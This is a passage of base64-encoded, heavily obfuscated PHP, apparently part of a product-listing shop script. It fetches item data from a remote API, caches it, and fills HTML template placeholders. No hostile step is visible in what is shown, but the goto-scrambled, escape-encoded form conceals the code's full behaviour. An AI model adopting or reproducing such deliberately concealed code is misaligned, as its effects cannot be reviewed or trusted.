pcy0+YUo1RW8oWyRRNGgzSlsiXHg3Mlx4NjVceDYzXDE1N1wxNTVceDZkXDE0NVwxNTZceDY0XDE2MyJdXSk7IGdvdG8gWFZNbEk7IE1qUFNPOiAkUTRoM0ogPSAkdGhpcy0+eHJ5aGsoJHh2V3dsLCBzZWxmOjpUNTlpYik7IGdvdG8gY1NveTI7IHJuUXhtOiAkaEIwYjcgPSAkdGhpcy0+WE5paEQoJGhCMGI3LCAkUTRoM0pbIlx4NjRcMTQxXDE2NFwxNDEiXVsiXHg2OVwxNjRcMTQ1XHg2ZFwxMzdceDY5XHg2NCJdLCBzZWxmOjpXZGVvWSwgW10sICRRNGgzSlsiXHg2NFwxNDFcMTY0XHg2MSJdKTsgZ290byBERjZWeDsgREY2Vng6ICRoQjBiNyA9ICR0aGlzLT5iOUR1QygkdGhpcy0+WUV4eG8oKSwgJGhCMGI3KTsgZ290byBENUwybjsgR3lManI6ICRoQjBiNyA9IHByZWdfcmVwbGFjZSgiXHgyZlwxNzNcMTczXDE0NFwxNDVceDc0XDE0MVx4NjlcMTU0XDEzN1wxNjBceDcyXDE1N1x4NjRcMTY1XDE0M1x4NzRceDVmXDE1MVwxNTVcMTQxXDE0N1wxNDVcMTYzXHg3ZFwxNzVceDJmIiwgJEtqZmJEWyJcMTUxXHg2ZFwxNDFcMTQ3XHg2NVwxMzdcMTUwXDE2NFwxNTVcMTU0Il0sICRoQjBiNyk7IGdvdG8geXZKVUU7IFhWTWxJOiAkb0lmUEcgPSAkdGhpcy0+R21rS1YoJFE0aDNKWyJceDY0XHg2MVwxNjRcMTQxIl0pOyBnb3RvIHBpSDMwOyBwaUgzMDogJGhCMGI3ID0gcHJlZ19yZXBsYWNlKCJcNTdcMTczXHg3YlwxNDRcMTQ1XHg3NFx4NjFceDY5XDE1NFx4NWZcMTQyXDE2MlwxNDVcMTQxXDE0NFx4NjNcMTYyXDE2NVx4NmRcMTQyXHg3ZFwxNzVceDJmIiwgJEtqZmJEWyJceDYyXDE2Mlx4NjVcMTQxXDE0NFwxNDNceDcyXDE2NVx4NmRcMTQyXHg1ZlwxNTBceDc0XDE1NVx4NmMiXSwgJGhCMGI3KTsgZ290byBHeUxqcjsgb0lJcGM6ICR4dld3bCA9ICRfR0VUWyJcMTUxIl07IGdvdG8gcE5CVTA7IHl2SlVFOiAkaEIwYjcgPSBwcmVnX3JlcGxhY2UoIlx4MmZcMTczXHg3YlwxNDRcMTQ1XDE2NFx4NjFceDY5XDE1NFwxMzdceDcwXHg3MlwxNTdcMTQ0XHg3NVwxNDNceDc0XDEzN1wxNjRceDY5XHg3NFwxNTRcMTQ1XHg3ZFwxNzVcNTciLCAkS2pmYkRbIlx4NzRceDY5XDE2NFwxNTRceDY1XHg1ZlwxNTBceDc0XHg2ZFwxNTQiXSwgJGhCMGI3KTsgZ290byBsbGpZbjsgQVl0SU46ICRoQjBiNyA9IHByZWdfcmVwbGFjZSgiXHgyZlwxNzNcMTczXDE0NFx4NjVcMTY0XHg2MVwxNTFcMTU0XHg1ZlwxNjBceDcyXDE1N1x4NjRceDc1XDE0M1wxNjRceDVmXDE0NFwxNDVceDczXDE0M1x4NzJceDY5XHg3MFwxNjRcMTUxXHg2ZlwxNTZcMTc1XHg3ZFx4MmYiLCAkS2pmYkRbIlx4NjRcMTQ1XDE2M1wxNDNcMTYyXHg2OVx4NzBcMTY0XHg2OVx4NmZcMTU2XHg1ZlwxNTBceDc0XHg2ZFx4NmMiXSwgJGhCMGI3KTsgZ290byBKM0kydjsgY1NveTI6ICRLamZiRCA9ICR0aGlzLT55Q3UxbigkUTRoM0pbIlwxNDRceDYxXDE2NFx4NjEiXSwgJFE0aDNKWyJceDZjXDE1MVx4NmVceDZiXHg3MyJdKTsgZ290byBvQVdrVzsgcE5CVTA6ICRoQjBiNyA9IGZpbGVfZ2V0X2NvbnRlbnRzKF9fRElSX18gLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gIlx4NjRceDY1XHg3NFx4NjFcMTUxXDE1NFw1NlwxNTBcMTY0XHg2ZFx4NmMiKTsgZ290byBNalBTTzsgbGxqWW46ICRoQjBiNyA9IHByZWdfcmVwbGFjZSgiXHgyZlx4N2JcMTczXDE0NFx4NjVceDc0XDE0MVx4NjlceDZjXHg1Zlx4NzBcMTYyXHg2ZlwxNDRceDc1XDE0M1wxNjRcMTM3XDE2MFx4NzJceDY5XHg2M1wxNDVcMTc1XHg3ZFw1NyIsICRLamZiRFsiXDE2MFwxNjJcMTUxXDE0M1x4NjVcMTM3XDE1MFwxNjRcMTU1XHg2YyJdLCAkaEIwYjcpOyBnb3RvIHdhSHhEOyBKM0kydjogJGhCMGI3ID0gcHJlZ19yZXBsYWNlKCJceDJmXDE3M1x4N2JcMTQ0XDE0NVx4NzRcMTQxXDE1MVwxNTRcMTM3XHg3MFwxNjJcMTU3XHg2NFwxNjVceDYzXHg3NFwxMzdceDcyXHg2NVwxNTRceDYxXDE2NFx4NjVceDY0XDE3NVwxNzVcNTciLCAkUGgxamJbIlx4NmNcMTUxXDE2M1x4NzRceDVmXDE1MFwxNjRcMTU1XHg2YyJdLCAkaEIwYjcpOyBnb3RvIFlyZUpBOyBtTWwxMDogfSBwdWJsaWMgZnVuY3Rpb24gWG5JSGQoJGhCMGI3LCAkWlY4blcgPSAnJywgJFA3aVZoID0gJycsICRLWmtrTSA9IFtdLCAkUTRoM0ogPSBbXSkgeyBnb3RvIEkyYVdZOyBDc2hZSzogcmV0dXJuICRoQjBiNzsgZ290byBuTVRkYjsgWVVldjQ6ICRoQjBiNyA9IHByZWdfcmVwbGFjZSgiXHgyZlx4N2JcMTczXHg2YlwxNDVcMTcxXDE2N1x4NmZceDcyXHg2NFwxNjNcMTc1XHg3ZFw1NyIsICR6ZGN4MlsiXDE1M1wxNDVceDc5XDE2N1x4NmZceDcyXDE0NFx4NzNceDVmXDE1MFwxNjRceDZkXHg2YyJdLCAkaEIwYjcpOyBnb3RvIGlVTndWOyBpVU53VjogJGhCMGI3ID0gcHJlZ19yZXBsYWNlKCJcNTdceDdiXDE3M1wxNDRceDY1XHg3M1wxNDNceDcyXDE1MVwxNjBcMTY0XHg2OVx4NmZcMTU2XDE3NVwxNzVceDJmIiwgJHpkY3gyWyJceDY0XDE0NVx4NzNcMTQzXHg3Mlx4NjlceDcwXHg3NFwxNTFcMTU3XHg2ZVx4NWZcMTUwXHg3NFx4NmRcMTU0Il0sICRoQjBiNyk7IGdvdG8gQ3NoWUs7IEkyYVdZOiAkemRjeDIgPSAkdGhpcy0+U1ZfdngoJFpWOG5XLCAkUDdpVmgsICRLWmtrTSwgJFE0aDNKKTsgZ290byBQVzIzbDsgUFcyM2w6ICRoQjBiNyA9IHByZWdfcmVwbGFjZSgiXDU3XHg3Ylx4N2JcMTY0XDE1MVx4NzRcMTU0XHg2NVwxNzVceDdkXHgyZiIsICR6ZGN4MlsiXHg3NFx4NjlceDc0XDE1NFwxNDVcMTM3XDE1MFwxNjRceDZkXHg2YyJdLCAkaEIwYjcpOyBnb3RvIFlVZXY0OyBuTVRkYjogfSBwcml2YXRlIGZ1bmN0aW9uIHJkTzFCKCkgeyBnb3RvIG1mZkNoOyBuSjE3VTogZHF4SXQ6IGdvdG8gaENVMTI7IHkwaHREOiBsaXN0KCRFRTNlVCwgJEtaa2tNKSA9IGFycmF5KFtdLCBbXSk7IGdvdG8gTzJwdjg7IG1mZkNoOiAkZU9rTmYgPSAkdGhpcy0+dk9ZdVgoJHRoaXMtPko2ajF3IC4gc2VsZjo6VFlpOW4pOyBnb3RvIHkwaHREOyBPZnAxWDogJEdEOHlQID0ganNvbl9kZWNvZGUoJGVPa05mWyJceDY0XDE0MVwxNjRcMTQxIl0sIHRydWUpOyBnb3RvIFBqQmljOyBCZ1I0WTogcmV0dXJuICRLWmtrTTsgZ290byBzVXVXTjsgUGpCaWM6IGZvcmVhY2ggKCRHRDh5UFsiXHg2NFwxNDFcMTY0XHg2MSJdIGFzICRNVV9ENikgeyBnb3RvIE5jTHphOyB2UGNVVzogZEwyTFk6IGdvdG8gaFFOQ2E7IE5jTHphOiBhcnJheV9wdXNoKCRFRTNlVCwgJE1VX0Q2WyJceDYzXHg2MVx4NzRceDY1XDE0N1wxNTdceDcyXDE3MSJdKTsgZ290byBNbFlRQTsgUkZfSjc6ICRLWmtrTVsieyRNVV9ENlsiXHg2M1x4NjFcMTY0XHg2NVx4NjdcMTU3XHg3Mlx4NzkiXVsiXHg2ZVx4NjFceDZkXHg2NSJdfVwxMzd7JHhjbHVCfSJdID0gYXJyYXlfbWFwKGZ1bmN0aW9uICgkclp1NTMpIHsgJGJoZE1PID0gJHRoaXMtPld6a1JBKCRyWnU1M1siXHg2M1wxNjVceDcyXHg3MlwxNDVceDZlXDE2NFx4NWZcMTYwXDE2Mlx4NjlcMTQzXHg2NSJdKTsgcmV0dXJuIGFycmF5KCJcMTY0XHg2OVx4NzRcMTU0XHg2NSIgPT4gJHJadTUzWyJceDc0XHg2OVx4NzRceDZjXDE0NSJdLCAiXDE1MVx4NjQiID0+ICR0aGlzLT5NWE16eigiXHg3M1wxNTNcMTY1IiAuICRyWnU1M1siXHg2OVx4NzRcMTQ1XDE1NVwxMzdcMTUxXHg2NCJdKSwgIlwxNjVcMTYyXDE1NCIgPT4gc2VsZjo6V2Rlb1kgLiAiXHgyZiIgLiAkdGhpcy0+WkNlSjcodWN3b3JkcyhzdHJ0b2xvd2VyKCRyWnU1M1siXHg3NFwxNTFcMTY0XHg2Y1x4NjUiXSkpKSAuICJcMTM3IiAuICR0aGlzLT5tWE16eigiXDE2M1x4NmJcMTY1IiAuICRyWnU1M1siXHg2OVx4NzRcMTQ1XDE1NVx4NWZcMTUxXHg2NCJdKSAuICJceDJlXHg2OFwxNjRceDZkXDE1NCIsICJceDYzXHg3NVwxNjJcMTYyXHg2NVx4NmVceDYzXHg3OVx4NWZceDczXHg3OVx4NmRcMTQyXDE1N1wxNTQiID0+ICR0aGlzLT5DODFtSigkclp1NTNbIlwxNDNcMTY1XHg3MlwxNjJceDY1XDE1Nlx4NjNceDc5XHg1ZlwxNTFcMTQ0Il0pLCAiXHg2NFx4NjlcMTYzXDE2MFwxNTRceDYxXHg3OVwxMzdcMTYwXHg3Mlx4NjlcMTQzXDE0NSIgPT4gJGJoZE1PWyJcMTQ0XDE1MVx4NzNceDcwXDE1NFwxNDFceDc5XDEzN1x4NzBceDcyXHg2OVx4NjNceDY1Il0sICJcMTYyXDE0MVx4NzdceDVmXHg3MFx4NzJceDY5XHg2M1x4NjUiID0+ICRiaGRNT1siXDE2Mlx4NjFceDc3XDEzN1x4NzBceDcyXHg2OVx4NjNcMTQ1Il0sICJcMTUxXDE1NVx4NjFceDY3XDE0NVx4NWZcMTYzXHg3Mlx4NjMiID0+ICRyWnU1M1siXHg2MVx4NmNcMTQyXDE2NVx4NmQiXSk7IH0sICRNVV9ENlsiXDE1MVwxNjRceDY1XHg2ZFwxNjMiXSk7IGdvdG8gdlBjVVc7IE1sWVFBOiAkeGNsdUIgPSAkdGhpcy0+bVhtelooIlx4NzNcMTUzXDE2NSIgLiAkTVVfRDZbIlx4NjNcMTQxXHg3NFx4NjVcMTQ3XHg2Zlx4NzJceDc5Il1bIlx4NjlceDY0Il0pOyBnb3RvIFJGX0o3OyBoUU5DYTogfSBnb3RvIG5KMTdVOyBPMnB2ODogaWYgKCEoJGVPa05mWyJceDYzXDE1N1x4NjRceDY1Il0gPT0gMjAwICYmIGlzc2V0KCRlT2tOZlsiXDE0NFx4NjFcMTY0XHg2MSJdKSAmJiAhZW1wdHkoJGVPa05mWyJceDY0XDE0MVwxNjRceDYxIl0pKSkgeyBnb3RvIGtqWkI5OyB9IGdvdG8gT2ZwMVg7IGhDVTEyOiBralpCOTogZ290byBCZ1I0WTsgc1V1V046IH0gcHJpdmF0ZSBmdW5jdGlvbiBZRVh4bygpIHsgZ290byBJR1l5UDsgcHBKYlY6IGdabnVnOiBnb3RvIGlubXA4OyBtdkZwdTogZ290byBLb3ZRQTsgZ290byBwcEpiVjsgc0V2OVM6IEtvdlFBOiBnb3RvIHlneVhDOyBOak5uNzogJHRoaXMtPmx3VHgzKHNlbGY6OnViR0U1LCBqc29uX2VuY29kZSgkd1h0OUcpKTsgZ290byBzRXY5UzsgSUdZeVA6ICRlTkxRUCA9ICR0aGlzLT5nZXRDYWNoZShzZWxmOjp1YkdFNSk7IGdvdG8gbjlTM1U7IGlubXA4OiAkd1h0OUcgPSBqc29uX2RlY29kZSgkZU9rTmZbIlx4NjRcMTQxXHg3NFwxNDEiXSwgdHJ1ZSk7IGdvdG8ga0w2Rko7IE5ZRWNvOiAkZU9rTmYgPSAkdGhpcy0+dm95VXgoJHRoaXMtPko2ajF3IC4gc2VsZjo6bk56WUosIGFycmF5KCJcMTYzXDE2MlwxNDMiID0+ICR0aGlzLT5LbkVtZCwgIlx4NjVceDc4XHg3NFwxNjJceDYxIiA9PiAkdGhpcy0+RGVDYUspLCBbIlx4NzhcNTVceDYxXHg3MFwxNjBceDJkXDE1MVx4NjRcNzJceDIweyR0aGlzLT5qUjBNV30iXSk7IGdvdG8gb3lJek07IG45UzNVOiAkd1h0OUcgPSBqc29uX2RlY29kZSgkZU5MUVAsIHRydWUpOyBnb3RvIEYycDJpOyBveUl6TTogaWYgKCRlT2tOZlsiXDE0M1x4NmZceDY0XHg2NSJdID09IDIwMCAmJiBpc3NldCgkZU9rTmZbIlx4NjRcMTQxXHg3NFwxNDEiXSkgJiYgIWVtcHR5KCRlT2tOZlsiXHg2NFwxNDFceDc0XDE0MSJdKSkgeyBnb3RvIGdabnVnOyB9IGdvdG8gYlBFVjI7IHlneVhDOiBuczFJNzogZ290byBrN04xbzsgYlBFVjI6ICR3WHQ5RyA9IFtdOyBnb3RvIG12RnB1OyBGMnAyaTogaWYgKCEoISR3WHQ5RyB8fCAhaXNfYXJyYXkoJHdYdDlHKSB8fCBlbXB0eSgkd1h0OUcpIHx8IHRpbWUoKSAtICR3WHQ5R1siXDE0NVwxNzBcMTYwXDE1MVwxNjJcMTQ1Il0gPj0gc2VsZjo6TWk1UnMpKSB7IGdvdG8gbnMxSTc7IH0gZ290byBOWUVjbzsga0w2Rko6ICR3WHQ5R1siXDE0NVx4NzhcMTYwXHg2OVx4NzJcMTQ1Il0gPSB0aW1lKCk7IGdvdG8gTmpObjc7IGs3TjFvOiAkd1h0OUcgPSBhcnJheV9tYXAoZnVuY3Rpb24gKCRyWnU1MykgeyAkclp1NTNbIlwxNDNcMTQxXHg3NFx4NjVceDY3XHg2Zlx4NzJcMTcxXHg1ZlwxNTFceDY0Il0gPSAkdGhpcy0+TVhNelooIlwxNjNcMTUzXDE2NSIgLiAkclp1NTNbIlx4NjNceDYxXHg3NFx4NjVcMTQ3XHg2Zlx4NzJceDc5XDEzN1x4NjlceDY0Il0pOyByZXR1cm4gJHJadTUzOyB9LCAkd1h0OUdbIlwxNDRcMTQxXHg3NFx4NjEiXSk7IGdvdG8gVXprbXY7IFV6a212OiByZXR1cm4gJHdYdDlHOyBnb3RvIHRfampHOyB0X2pqRzogfSBwcml2YXRlIGZ1bmN0aW9uIHhnazVqKCRTMTg1RCwgJERJMUxaLCAkSmgxVVEpIHsgZ290byBxTEVwSTsgTVhHUDQ6ICRUbFBCMSA9IFtdOyBnb3RvIEVySWFNOyBuWkVmcTogJFJyUFdfWyJcMTYzXHg3MlwxNDMiXSA9ICR0aGlzLT5LbkVtZDsgZ290byBEd3J0MjsgYlpuMHg6ICRSclBXX1siXHg3MFwxNDFcMTQ3XHg2NVx4NWZcMTU2XDE2NVwxNTUiXSA9IChpbnQpICRESTFMWjsgZ290byBNWEdQNDsgalp1WHY6IGlmICgkdGhpcy0+ajhJdnkpIHsgZ290byB5bU1nTDsgfSBnb3RvIERIdlBhOyB0djJ2QzogalhKNlU6IGdvdG8gdE02dVQ7IHFMRXBJOiAkWlhBTFAgPSAkUzE4NUQ7IGdvdG8gR2pJZ1Y7IGwwMXI1OiBJM3RORTogZ290byBuWkVmcTsgZkZoMmo6IHJldHVybiAkcVFzZ0U7IGdvdG8gU0lReGQ7IERIdlBhOiAkYTM0NmQgPSAkdGhpcy0+Z2V0Q2FjaGUoc2VsZjo6akNIWEEsIFskWlhBTFAsICRESTFMWiwgJEpoMVVRXSk7IGdvdG8geVBRZks7IFlZQmc5OiAkcVFzZ0UgPSBbXTsgZ290byBDV09WaTsgR2pJZ1Y6ICRSclBXX1siXHg2M1x4NjFcMTY0XHg2NVwxNDdcMTU3XDE2MlwxNzFcMTM3XDE1MVx4NjQiXSA9IHN0cl9yZXBsYWNlKFsiXDE2M1wxNTNceDc1IiwgIlx4NjNceDYxXDE2NCJdLCAnJywgJHRoaXMtPm1YbVpaKCRTMTg1RCwgZmFsc2UpKTsgZ290byBCYVlSMzsgRHdydDI6ICRSclBXX1siXDE0NVx4NzhcMTY0XDE2Mlx4NjEiXSA9ICR0aGlzLT5EZUNhSzsgZ290byBOMFFBaTsgQUhPb3Y6IHJldHVybiAkS1pra007IGdvdG8gbDAxcjU7IGtQOG00OiAkZU9rTmYgPSAkdGhpcy0+dk9ZdXgoJHRoaXMtPko2ajF3IC4gJFlwcHlHLCAkUnJQV18sICRUbFBCMSk7IGdvdG8gWVEzQVk7IHlQUWZLOiAkS1pra00gPSBqc29uX2RlY29kZSgkYTM0NmQsIHRydWUpOyBnb3RvIGdEc0VKOyBFcklhTTogJFlwcHlHID0gc2VsZjo6WFRLc2U7IGdvdG8galp1WHY7IEJhWVIzOiAkdGhpcy0+UzVrM3ooJFJyUFdfWyJceDYzXHg2MVx4NzRceDY1XDE0N1wxNTdceDcyXDE3MVx4NWZcMTUxXDE0NCJdLCBzZWxmOjpKT3JIQyk7IGdvdG8ga09DWjk7IGtPQ1o5OiAkUnJQV19bIlx4NzBceDYxXHg2N1x4NjVceDVmXHg3M1x4NjlcMTcyXHg2NSJdID0gKGludCkgJEpoMVVROyBnb3RvIGJabjB4OyB0TTZ1VDogJHFRc2dFWyJcMTUzXDE0NVwxNzEiXSA9ICJ7JFJyUFdfWyJceDYzXDE0MVwxNjRceDY1XDE0N1wxNTdceDcyXDE3MVx4NWZcMTUxXDE0NCJdfVx4N2N7JERJMUxafVwxNzR7JEpoMVVRfSI7IGdvdG8gZkZoMmo7IE4wUUFpOiAkWXBweUcgPSBzZWxmOjppV29BdTsgZ290byBienVnVTsgYnp1Z1U6ICRUbFBCMSA9IFsiXHg3OFw1NVx4NjFceDcwXHg3MFw1NVx4NjlceDY0XHgzYVx4MjB7JHRoaXMtPmpSME1XfSJdOyBnb3RvIFQzdHV3OyBZUTNBWTogJEtaa2tNID0ganNvbl9kZWNvZGUoJGVPa05mWyJcMTQ0XHg2MVx4NzRcMTQxIl0sIHRydWUpOyBnb3RvIFlZQmc5OyBDV09WaTogZm9yZWFjaCAoJEtaa2tNWyJceDY0XHg2MVwxNjRcMTQxIl1bIlwxNTFcMTY0XHg2NVwxNTVceDczIl0gYXMgJFE0aDNKKSB7IGdvdG8gTHV6Sms7IHNXZ1pNOiAkcVFzZ0VbXSA9IGFycmF5KCJcMTY0XHg2OVwxNjRcMTU0XDE0NSIgPT4gJFE0aDNKWyJceDc0XDE1MVx4NzRceDZjXDE0NSJdLCAiXDE1MVwxNDQiID0+ICR0aGlzLT5NeE16eigiXHg3M1x4NmJceDc1IiAuICRRNGgzSlsiXDE1MVwxNjRceDY1XDE1NVwxMzdceDY5XDE0NCJdKSwgIlx4NzVcMTYyXHg2YyIgPT4gc2VsZjo6V2Rlb1kgLiAiXDU3IiAuICR0aGlzLT5aQ0VqNyh1Y3dvcmRzKHN0cnRvbG93ZXIoJFE0aDNKWyJcMTY0XHg2OVx4NzRcMTU0XDE0NSJdKSkpIC4gIlwxMzciIC4gJHRoaXMtPk14bVp6KCJceDczXDE1M1wxNjUiIC4gJFE0aDNKWyJceDY5XHg3NFwxNDVceDZkXHg1Zlx4NjlcMTQ0Il0pIC4gIlw1Nlx4NjhceDc0XHg2ZFx4NmMiLCAiXHg2M1x4NzVcMTYyXHg3Mlx4NjVceDZlXDE0M1x4NzlceDVmXHg3M1wxNzFceDZkXDE0MlwxNTdceDZjIiA9PiAkdGhpcy0+YzgxbUooJFE0aDNKWyJcMTQzXDE2NVwxNjJcMTYyXDE0NVwxNTZceDYzXHg3OVx4NWZceDY5XHg2NCJdKSwgIlwxNDRceDY5XHg3M1x4NzBcMTU0XHg2MVx4NzlcMTM3XHg3MFx4NzJceDY5XHg2M1x4NjUiID0+ICRiaGRNT1siXHg2NFwxNTFcMTYzXDE2MFwxNTRceDYxXHg3OVx4NWZcMTYwXHg3Mlx4NjlceDYzXDE0NSJdLCAiXHg3Mlx4NjFcMTY3XDEzN1wxNjBcMTYyXDE1MVx4NjNceDY1IiA9PiAkYmhkTU9bIlwxNjJceDYxXHg3N1wxMzdcMTYwXDE2MlwxNTFcMTQzXDE0NSJdLCAiXDE1MVwxNTVceDYxXHg2N1x4NjVceDVmXDE2M1wxNjJceDYzIiA9PiAkUTRoM0pbIlwxNDFceDZjXDE0Mlx4NzVceDZkIl0pOyBnb3RvIFpRbndEOyBMdXpKazogJGJoZE1PID0gJHRoaXMtPldaS3JBKCRRNGgzSlsiXHg2M1wxNjVcMTYyXHg3Mlx4NjVcMTU2XDE2NFwxMzdcMTYwXHg3Mlx4NjlcMTQzXDE0NSJdKTsgZ290byBzV2daTTsgWlFud0Q6IGFSME5uOiBnb3RvIHB4ZVNiOyBweGVTYjogfSBnb3RvIHR2MnZDOyBnRHNFSjogaWYgKCEoJEtaa2tNICYmIGlzX2FycmF5KCRLWmtrTSkpKSB7IGdvdG8gSTN0TkU7IH0gZ290byBBSE9vdjsgVDN0dXc6IHltTWdMOiBnb3RvIGtQOG00OyBTSVF4ZDogfSBwcml2YXRlIGZ1bmN0aW9uIHhSWUhLKCR0X2JLQiwgJGJOREhjKSB7IGdvdG8gRjJVQ2s7IHFTWFdLOiBpZiAoJHRoaXMtPmo4SXZ5KSB7IGdvdG8gT2RBN3U7IH0gZ290byBtV3FHcjsgbVdxR3I6ICRIZF9fViA9ICR0aGlzLT5nZXRDYWNoZShzZWxmOjptSUtFZywgWyRaWEFMUF0pOyBnb3RvIGtTaGdUOyBuQ0xkbjogJFJyUFdfWyJcMTQ1XDE3MFx4NzRceDcyXDE0MSJdID0gJHRoaXMtPkRlQ2FLOyBnb3RvIFFtM01yOyBBYlpnWjogJFRsUEIxID0gWyJceDc4XHgyZFx4NjFcMTYwXDE2MFx4MmRceDY5XHg2NFw3MnskdGhpcy0+alIwTVd9Il07IGdvdG8gRDZOZ1c7IHFoSkRQOiBpZiAoISgkdjNrU0ogJiYgaXNfYXJyYXkoJHYza1NKKSkpIHsgZ290byBqMFIxdTsgfSBnb3RvIGRKNFU0OyB4S1k3ZDogJFJyUFdfWyJceDcwXHg2MVx4NjFceDczIl0gPSAxOyBnb3RvIEFiWmdaOyBoekp6WTogJGVPa05mID0gJHRoaXMtPlZPWXV4KCR0aGlzLT5KNmoxdyAuICRZcHB5RywgJFJyUFdfLCAkVGxQQjEpOyBnb3RvIGpCWUx6OyBGMlVDazogJFpYQUxQID0gJHRfYktCOyBnb3RvIGVsSkc2OyBkSjRVNDogcmV0dXJuICR2M2tTSjsgZ290byBFdm1aVTsgaWU2c286ICRUbFBCMSA9IFtdOyBnb3RvIEhnZGFIOyBiMkJpWTogJFJyUFdfWyJcMTQzXHg2OFwxNTFceDZjXHg2NFx4NWZceDY0XDE1N1x4NmRcMTQxXHg2OVwxNTYiXSA9ICR0aGlzLT5OMGtfdTsgZ290byBnVUhnQTsgRDZOZ1c6ICRZcHB5RyA9IHNlbGY6Olg2MWl1OyBnb3RvIGM4MWZ3OyBFdm1aVTogajBSMXU6IGdvdG8ga1lsU3k7IFduc2VsOiBzZWxmOjpzNWszeigkdF9iS0IsIHNlbGY6OkV1c0lqKTsgZ290byB2bzhYXzsgZWxKRzY6ICR0X2JLQiA9IHN0cl9yZXBsYWNlKFsiXHg3M1wxNTNceDc1IiwgIlx4NjNceDYxXDE2NCJdLCAnJywgc2VsZjo6TVhNWnooJHRfYktCLCBmYWxzZSkpOyBnb3RvIFduc2VsOyBnVUhnQTogJFJyUFdfWyJceDcwXDE0MVx4NzRceDY4Il0gPSAkdGhpcy0+VGVpSEQgPyAkdGhpcy0+ckxfSW0oKSA6ICJ7JHRoaXMtPlJMX0lNKCl9XDU3IjsgZ290byB4S1k3ZDsga1lsU3k6ICRSclBXX1siXHg3M1wxNjJcMTQzIl0gPSAkdGhpcy0+S25FbWQ7IGdvdG8gbkNMZG47IEh1WFAzOiAkUnJQV19bIlwxNjJceDY1XHg2M1x4NmZcMTU1XHg2ZFx4NjVcMTU2XHg2NCJdID0gJGJOREhjOyBnb3RvIGllNnNvOyBWcmRUcTogJFE0aDNKWyJceDcyXDE0NVx4NjNceDZmXHg2ZFx4NmRceDY1XDE1Nlx4NjRcMTYzIl0gPSBhcnJheV9tYXAoZnVuY3Rpb24gKCRiTkRIYykgeyAkYmhkTU8gPSAkdGhpcy0+d3pLUmEoJGJOREhjWyJcMTQzXHg3NVwxNjJcMTYyXDE0NVx4NmVceDc0XHg1ZlwxNjBceDcyXHg2OVwxNDNceDY1Il0pOyByZXR1cm4gYXJyYXkoIlwxNjRceDY5XDE2NFx4NmNcMTQ1IiA9PiAkYk5ESGNbIlwxNjRceDY5XDE2NFwxNTRceDY1Il0sICJceDY5XHg2NCIgPT4gJHRoaXMtPk1YTXp6KCJceDczXHg2Ylx4NzUiIC4gJGJOREhjWyJcMTUxXDE2NFx4NjVceDZkXDEzN1x4NjlcMTQ0Il0pLCAiXHg3NVwxNjJcMTU0IiA9PiBzZWxmOjpXZGVvWSAuICJceDJmIiAuICR0aGlzLT56Y2VqNyh1Y3dvcmRzKHN0cnRvbG93ZXIoJGJOREhjWyJcMTY0XDE1MVx4NzRceDZjXHg2NSJdKSkpIC4gIlx4NWYiIC4gJHRoaXMtPm14bXpaKCJcMTYzXDE1M1x4NzUiIC4gJGJOREhjWyJceDY5XDE2NFx4NjVceDZkXDEzN1wxNTFceDY0Il0pIC4gIlw1NlwxNTBcMTY0XDE1NVx4NmMiLCAiXDE0M1x4NzVceDcyXHg3Mlx4NjVcMTU2XHg2M1wxNzFcMTM3XHg3M1wxNzFcMTU1XDE0Mlx4NmZcMTU0IiA9PiAkdGhpcy0+QzgxTUooJGJOREhjWyJceDYzXDE2NVwxNjJceDcyXDE0NVx4NmVcMTQzXDE3MVwxMzdcMTUxXHg2NCJdKSwgIlwxNDRceDY5XDE2M1x4NzBcMTU0XDE0MVwxNzFcMTM3XDE2MFwxNjJceDY5XHg2M1x4NjUiID0+ICRiaGRNT1siXDE0NFx4NjlceDczXDE2MFx4NmNceDYxXDE3MVx4NWZcMTYwXHg3Mlx4NjlceDYzXHg2NSJdLCAiXHg3Mlx4NjFcMTY3XDEzN1x4NzBceDcyXHg2OVwxNDNceDY1IiA9PiAkYmhkTU9bIlx4NzJceDYxXHg3N1x4NWZcMTYwXHg3MlwxNTFceDYzXHg2NSJdLCAiXDE1MVwxNTVceDYxXDE0N1x4NjVcMTM3XHg3M1wxNjJceDYzIiA9PiAkYk5ESGNbIlwxNDFcMTU0XHg2Mlx4NzVceDZkIl0pOyB9LCAkUTRoM0pbIlwxNjJceDY1XHg2M1x4NmZcMTU1XDE1NVx4NjVceDZlXHg2NFwxNjMiXSk7IGdvdG8gSm4zVm07IGpCWUx6OiAkUTRoM0ogPSBqc29uX2RlY29kZSgkZU9rTmZbIlx4NjRcMTQxXHg3NFwxNDEiXSwgdHJ1ZSk7IGdvdG8gVnJkVHE7IEpuM1ZtOiByZXR1cm4gJFE0aDNKOyBnb3RvIGlBcmdiOyBIZ2RhSDogJFlwcHlHID0gc2VsZjo6djB4X1c7IGdvdG8gcVNYV0s7IHZvOFhfOiAkUnJQV19bIlwxNTFceDc0XDE0NVwxNTVcMTM3XDE1MVx4NjQiXSA9IChzdHJpbmcpICR0X2JLQjsgZ290byBIdVhQMzsgUW0zTXI6ICRSclBXX1siXHg2NFwxNTdcMTU1XDE0MVx4NjlcMTU2XDEzN1wxNTFceDY0Il0gPSAkdGhpcy0+SkdEblM7IGdvdG8gYjJCaVk7IGtTaGdUOiAkdjNrU0ogPSBqc29uX2RlY29kZSgkSGRfX1YsIHRydWUpOyBnb3RvIHFoSkRQOyBjODFmdzogT2RBN3U6IGdvdG8gaHpKelk7IGlBcmdiOiB9IHByaXZhdGUgZnVuY3Rpb24ga1M5YTEoJFMxODVEKSB7IGdvdG8gV2kzT3A7IGpFeTRZOiBWaE04dDogZ290byBBekxaSjsgV2kzT3A6ICRrQkxRQiA9ICR0aGlzLT5nZXRDYWNoZShzZWxmOjpqQ2twZywgWyRTMTg1RF0pOyBnb3RvIHNOcE5hOyBkSndQZTogJGVPa05mID0gJHRoaXMtPnZvWXV4KCR0aGlzLT5KNmoxdyAuIHNlbGY6Omh3TTlpLCBhcnJheSgiXDE2M1wxNjJcMTQzIiA9PiAkdGhpcy0+S25FbWQsICJceDY1XHg3OFwxNjRceDcyXDE0MSIgPT4gJHRoaXMtPkRlQ2FLLCAiXHg2M1x4NjFceDc0XHg2NVx4NjdcMTU3XHg3Mlx4NzlceDVmXHg2OVwxNDQiID0+ICRTMTg1RCksIFsiXDE3MFx4MmRceDYxXHg3MFwxNjBceDJkXDE1MVx4NjRcNzJ7JHRoaXMtPmpSME1XfSJdKTsgZ290byBsaHBUWTsgbFQxaEU6IHJldHVybiAkcUFpc3RbIlx4NjRceDYxXHg3NFwxNDEiXTsgZ290byBqTHIwWDsgQXpMWko6ICRTMTg1RCA9IHN0cl9yZXBsYWN